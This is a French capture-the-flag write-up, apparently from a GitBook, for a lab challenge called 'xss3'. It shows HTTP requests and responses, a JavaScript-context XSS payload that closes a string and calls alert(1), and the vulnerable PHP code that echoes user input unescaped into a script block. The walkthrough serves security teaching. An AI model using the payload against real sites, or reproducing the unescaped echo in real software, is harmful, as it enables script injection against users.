# xss3

## Exploitation

A nouveau une fonctionnalité de recherche pour ce troisième challenge, mais le mot renseigné doit être un nom d'utilisateur :&#x20;

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-LXA-aPG-dBFXBTzP1DC%2Fuploads%2FGtRKItse6sFXFjewnWFt%2Fimage.png?alt=media\&token=3fabdf80-87ca-417a-8c8a-b42b4458e130)

Lorsque je renseigne un nom d'utilisateur, il n'est ni réfléchi dans un message d'erreur, ni en tant que valeur du champ :&#x20;

```http
POST /xss3/ HTTP/1.1
Host: localhost:9003
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Origin: http://localhost:9003
Connection: close
Referer: http://localhost:9003/xss3/

name=whatever&submit=Envoyer
```

Je recherche alors le nom directement dans la réponse HTTP :&#x20;

```html
HTTP/1.1 200 OK
Server: Apache/2.4.53 (Debian)
X-Powered-By: PHP/8.0.18
Content-Length: 1908
Connection: close
Content-Type: text/html; charset=UTF-8


<!DOCTYPE html>
<html>
  <head>
    <title>XSS 3</title>
    <link rel="stylesheet" href="../static/css/bootstrap.min.css" />
  </head>
  <body>
    ...
    <script>
      var name="whatever";
    </script>
  </body>
</html>
```

Le nom d'utilisateur renseigné est donc présent en tant que valeur d'une variable Javascript. Je tente assez simplement de sortir de la valeur avec le `"` puis d'exécuter l'affichage de la modale. Le commentaire, à la fin de ma payload, va permettre de se débarrasser des caractères superflus provenant de la concaténation effectuée dans le code `whatever";alert(1);//` :

```http
POST /xss3/ HTTP/1.1
Host: localhost:9003
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Origin: http://localhost:9003
Connection: close
Referer: http://localhost:9003/xss3/

name=whatever%22%3Balert%281%29%3B%2F%2F&submit=Envoyer
```

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-LXA-aPG-dBFXBTzP1DC%2Fuploads%2FbYr1DKP69vppyM2tP9oh%2Fimage.png?alt=media\&token=0e33712c-294f-4287-89c4-9df4a572f598)

## Analyse du code source

Le nom d'utilisateur renseigné est récupéré dans la variable `$username`. Cette variable est affichée grâce à la directive `echo` directement au sein d'un bloc Javascript en tant que valeur de la variable `name` :

```php
<?php
  if (isset ($_POST['submit']) && isset ($_POST['name'])) {
    $username = $_POST['name'];
  }
?>

<script>
    <?php if (isset ($username) && !empty ($username)): echo ("var name=\"$username\";");?>
    <?php endif; ?>
</script>
```
